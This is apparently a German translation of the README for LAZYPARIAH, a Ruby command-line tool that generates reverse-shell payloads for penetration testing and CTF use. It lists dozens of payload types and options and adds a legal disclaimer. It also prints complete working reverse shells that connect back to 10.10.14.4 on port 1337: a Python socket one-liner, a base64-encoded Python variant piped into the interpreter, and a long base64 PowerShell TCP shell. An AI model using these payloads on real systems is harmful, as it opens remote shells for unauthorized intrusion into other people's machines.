
Ein Tool zum dynamischen Generieren von Reverse-Shell-Payloads.
Ein Kommandozeilen-Tool mit geringen Abhängigkeiten zur dynamischen Generierung von Reverse-Shell-Payloads.
LAZYPARIAH ist ein einfaches und leicht installierbares, in purem Ruby geschriebenes Kommandozeilen-Tool, das bei Penetrationstests und Capture-the-Flag (CTF)-Wettbewerben verwendet werden kann, um spontan eine Reihe von Reverse-Shell-Payloads zu generieren.
Die von LAZYPARIAH unterstützten Reverse-Shell-Payloads umfassen (sind aber nicht beschränkt auf):
c_binaryruby, ruby_b64, ruby_hex, ruby_cpowershell_c, powershell_b64python_b64rust_binarysystem()-Funktion aufgerufen werden: php_system_python_b64java_classperl, perl_b64, perl_hex, perl_cphp_fd, php_fd_c, php_fd_tagsDieses Tool ist ausschließlich für den Einsatz in autorisierten Umgebungen durch qualifizierte Pentester, Sicherheitsforscher und Red-Team-Profis vorgesehen. Stellen Sie vor dem Herunterladen, Installieren oder Verwenden dieses Tools sicher, dass Sie die relevanten Gesetze in Ihrem Land verstehen. Der Autor dieses Tools befürwortet, ermutigt oder duldet nicht die Verwendung dieses Tools für illegale oder unbefugte Zwecke.
java_class-Payloads erforderlich.)c_binary-Payloads erforderlich.)rust_binary-Payloads erforderlich.)LAZYPARIAH kann auf den meisten GNU/Linux- und BSD-Systemen mit dem RubyGems-Installer wie folgt installiert werden:
gem install lazypariah
Usage: lazypariah [OPTIONS] <PAYLOAD TYPE> <ATTACKER HOST> <ATTACKER PORT>
Note: <ATTACKER HOST> may be an IPv4 address, IPv6 address or hostname.
Example: lazypariah -u python_b64 10.10.14.4 1555
Example: lazypariah python_c malicious.local 1337
Valid Payloads:
awk
bash_tcp
c_binary
java_class
nc
nc_openbsd
nc_pipe
nodejs
nodejs_b64
nodejs_c
nodejs_hex
perl
perl_b64
perl_c
perl_hex
php_fd
php_fd_c
php_fd_tags
php_system_python_b64
php_system_python_hex
php_system_python_ipv6_b64
php_system_python_ipv6_hex
powershell_b64
powershell_c
python
python_b64
python_c
python_hex
python_ipv6
python_ipv6_b64
python_ipv6_c
python_ipv6_hex
ruby
ruby_b64
ruby_c
ruby_hex
rust_binary
socat
Valid Options:
-h, --help Hilfe anzeigen und beenden.
-l, --license Lizenzinformationen anzeigen und beenden.
-u, --url Payload URL-kodieren.
-v, --version Versionsinformationen anzeigen und beenden.
-D, --fd INTEGER Den vom Ziel für TCP verwendeten Dateideskriptor angeben. Für bestimmte Payloads erforderlich.
-P, --pv INTEGER Python-Version für Payload angeben. Muss entweder 2 oder 3 sein. Standardmäßig wird keine Version angegeben.
-N, --no-new-line Kein Zeilenumbruch am Ende des Payloads anhängen.
--b64 Codiert einen c_binary-, rust_binary- oder java_class-Payload in Base64.
--hex Codiert einen c_binary-, rust_binary- oder java_class-Payload hexadezimal.
--gzip Komprimiert einen c_binary-, rust_binary- oder java_class-Payload mit zlib.
--gzip_b64 Komprimiert einen c_binary-, rust_binary- oder java_class-Payload mit zlib und kodiert das Ergebnis in Base64.
--gzip_hex Komprimiert einen c_binary-, rust_binary- oder java_class-Payload mit zlib und kodiert das Ergebnis hexadezimal.
Die oben aufgeführten Payloads sind mehr oder weniger systematisch benannt.
Payloads, die auf _c enden, sind für die Ausführung innerhalb einer Shell-Sitzung gedacht. Diese Payloads führen Code direkt mit dem entsprechenden Interpreter aus (z. B. python3 -c oder ruby -e).
Zum Beispiel sollte der Befehl lazypariah python_c 10.10.14.4 1337 die folgende Ausgabe erzeugen:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Der Befehl lazypariah python 10.10.14.4 1337 hingegen sollte einfach einen Block Python-Code erzeugen, der potenziell in eine .py-Datei eingefügt werden könnte:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Im Allgemeinen sollte die Auswahl von Payloads, die auf _b64 enden, einen Befehl liefern, der ähnlich wie Payloads, die auf _c enden, in einer Shell-Sitzung ausgeführt wird, aber die Befehle unterscheiden sich in der Struktur. Diese Befehle leiten einen base64-kodierten Codeblock über base64 -d und dann an den entsprechenden Interpreter (z. B. python3, python2 oder ruby) weiter.
Zum Beispiel sollte der Befehl lazypariah python_b64 10.10.14.4 1337 die folgende Ausgabe erzeugen:
echo aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjQiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOw== | base64 -d | python
Eine Ausnahme bildet powershell_b64, das den integrierten Base64-Decoder von PowerShell verwendet. Der Befehl lazypariah powershell_b64 10.10.14.4 1337 sollte z. B. Folgendes zurückgeben:
powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4ANAAnACwAMQAzADMANwApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAJwBQAFMAIAAnACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAJwA+ACAAJwA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=
(Hinweis: Die Länge des obigen Payloads ist darauf zurückzuführen, dass PowerShell UTF-16LE-Kodierung verwendet, bei der ein einzelnes Zeichen zwei Bytes entspricht.)
Diese Art von Payloads kann in bestimmten Situationen nützlich sein, da sie keine einfachen oder doppelten Anführungszeichen enthalten.